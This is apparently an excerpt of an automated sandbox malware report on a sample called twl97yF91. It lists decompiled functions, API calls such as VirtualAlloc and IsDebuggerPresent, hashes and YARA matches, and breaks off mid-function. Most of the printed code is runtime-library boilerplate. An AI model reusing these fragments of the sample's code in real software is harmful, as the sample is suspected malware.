Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 02CB092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

l, xrefs: 02CB0966
GetProcAddress., xrefs: 02CB09DC, 02CB09DF, 02CB09E4
., xrefs: 02CB095F

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: bffe2ac2521a5dc990838b2244e8e02abd88255132c7227f2296f97c8e86be94
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: D83138B6900619DFDB11CF99C880AEEBBF9FF48324F15414AD841A7250D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 03050490 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 289
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03050699

Strings

{o^, xrefs: 030505D0

Memory Dump Source

Source File: 00000001.00000002.322608961.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3050000_twl97yF91.jbxd

Similarity

API ID: InitializeThunk
String ID: {o^
API String ID: 2994545307-4057684116
Opcode ID: e2d2f20b090b0bbcc28c0798c032b55b011bbfdd12cf0a1399582881b0c1b4a1
Instruction ID: a2d765004d80ce2e10640f1643fcf5741005b554cb9f04c363744efdeb7bfacb
Opcode Fuzzy Hash: e2d2f20b090b0bbcc28c0798c032b55b011bbfdd12cf0a1399582881b0c1b4a1
Instruction Fuzzy Hash: 90B117387115008FC754DF29D998A2ABBE6FF88714B2585A9F906CB3B1DB31EC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02CB003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02CB024D

Strings

kernel32.dll, xrefs: 02CB008F, 02CB0095
cess, xrefs: 02CB018D

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: cf7339fcc9830ce15fc99d41795d567bf203f76d7c6899e1791ff3b9f3428347
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: E9527974A01229DFDB65CF68C984BADBBB1BF09304F1480D9E94DAB351DB30AA85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25); // executed
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

0x0040af66
0x0040af66
0x0040af69
0x0040af7d
0x0040af80
0x0040af88
0x00000000
0x00000000
0x0040af73
0x0040af79
0x0040af7b
0x0040af8c
0x0040af98
0x0040af9a
0x0040af9a
0x0040afa3
0x0040afad
0x0040afb2
0x0040afb7
0x0040afc5
0x0040afca
0x0040afd0
0x0040aec2
0x0040b6b5
0x0040b6b7
0x0040b6bc
0x0040b6c1
0x0040b6c4
0x0040b6c6
0x0040b6c8
0x0040b6cf
0x0040b714
0x00000000
0x0040b6d1
0x0040b6d3
0x0040b6d9
0x0040b6de
0x0040b6e4
0x0040b6e7
0x0040b6e9
0x0040b6eb
0x0040b6ec
0x0040b6ed
0x0040b6f3
0x0040b6f4
0x0040b6fb
0x0040b700
0x0040b704
0x0040b706
0x0040b715
0x0040b723
0x0040b725
0x0040b727
0x0040b73a
0x0040b73c
0x0040b725
0x0040b704
0x0040b6cf
0x0040b742
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7b
0x0040af8b
0x00000000

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 03050481 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{o^, xrefs: 030505D0

Memory Dump Source

Source File: 00000001.00000002.322608961.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3050000_twl97yF91.jbxd

Similarity

API ID:
String ID: {o^
API String ID: 0-4057684116
Opcode ID: 186f0ea5e054cb02975c107b5d8aa21e6fa98898f6dee950d98986d4fbc98c5a
Instruction ID: 0301d7f2956a89a937331aa9e5fac8ad72392139314388098a8e07a86c28af9d
Opcode Fuzzy Hash: 186f0ea5e054cb02975c107b5d8aa21e6fa98898f6dee950d98986d4fbc98c5a
Instruction Fuzzy Hash: 36A1F6397115008FC794DF29D598A2ABBE6FF89714B2584A9E906CB3B1DB31EC41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02CB0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00000400,?,?,02CB0223,?,?), ref: 02CB0E19
SetErrorMode.KERNEL32(00000000,?,?,02CB0223,?,?), ref: 02CB0E1E

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: fdadc0463ad45a6f1627bb6a21ce9283ece9353430d24b8cd761bb0491863ca9
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: A9D01236245228B7DB012A94DC09BCEBB1CDF09BA6F008021FB0DE9080CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7EE Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040E7EE(int _a4) {

				E0040E7C3(_a4); // executed
				ExitProcess(_a4);
			}

0x0040e7f6
0x0040e7ff

APIs

___crtCorExitProcess.LIBCMT ref: 0040E7F6

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040d549
0x0040d54f
0x0040d556
0x0040d55d
0x0040d563
0x0040d559
0x0040d559
0x0040d559

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA0A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0040EA0A(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0040E8DE(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x0040ea0f
0x0040ea11
0x0040ea13
0x0040ea16
0x0040ea1f

APIs

_doexit.LIBCMT ref: 0040EA16

Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189

Uniqueness

Uniqueness Score: -1.00%

Function 02CB0920 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 02CB0929

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: a81f69529bcf2872433a6626b6dddab0307a3207cad9c1e7665d850a07e5ea8b
Instruction ID: f1a77b98683cafb1fb7459b4dcf7902f75ab8b99c0f73db378513641b05b932d
Opcode Fuzzy Hash: a81f69529bcf2872433a6626b6dddab0307a3207cad9c1e7665d850a07e5ea8b
Instruction Fuzzy Hash: 1190026038415011D820259C4C02B0510021751634F3047107170B91D4D84496144126

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02CBD070 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 02CC395B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 02CC3970
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 02CC397B
GetCurrentProcess.KERNEL32(C0000409), ref: 02CC3997
TerminateProcess.KERNEL32(00000000), ref: 02CC399E

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 5b454e1f44dfc620a4a1794eb5f9110e0bf088dfb5e59747b9a67da5b99b9090
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: FD21C3B4A01204EFD720DF65F9496457FB0FB08356F904079E50D87662E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0xa61828c8
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0xa61828c8
				_v812 = _t12;
				_t13 =  *0x422238; // 0x59e7d737
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0305EE30 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.322608961.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3050000_twl97yF91.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e40cc5b7fe0decf067d30f896caf04ab4924459579739271318f1b8fa1602008
Instruction ID: 894e8016728872cc9f7999b520d0c4e3fedff4379bfa81a67af3545e08d7bc0d
Opcode Fuzzy Hash: e40cc5b7fe0decf067d30f896caf04ab4924459579739271318f1b8fa1602008
Instruction Fuzzy Hash: 3E41FEB4D11248CFDB10CFA9C985BDEFBF1BB09304F248029E859AB250DB749985CF85

Uniqueness

Uniqueness Score: -1.00%

Function 02CB0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 602eeafb34d0e81df78247c899aa7f1ab8f685fe643c89ac3c5d791994df9735
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: D001A276A106448FDF22CF74C805BEB33E9FFC6216F4545A5D90A97281E774A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
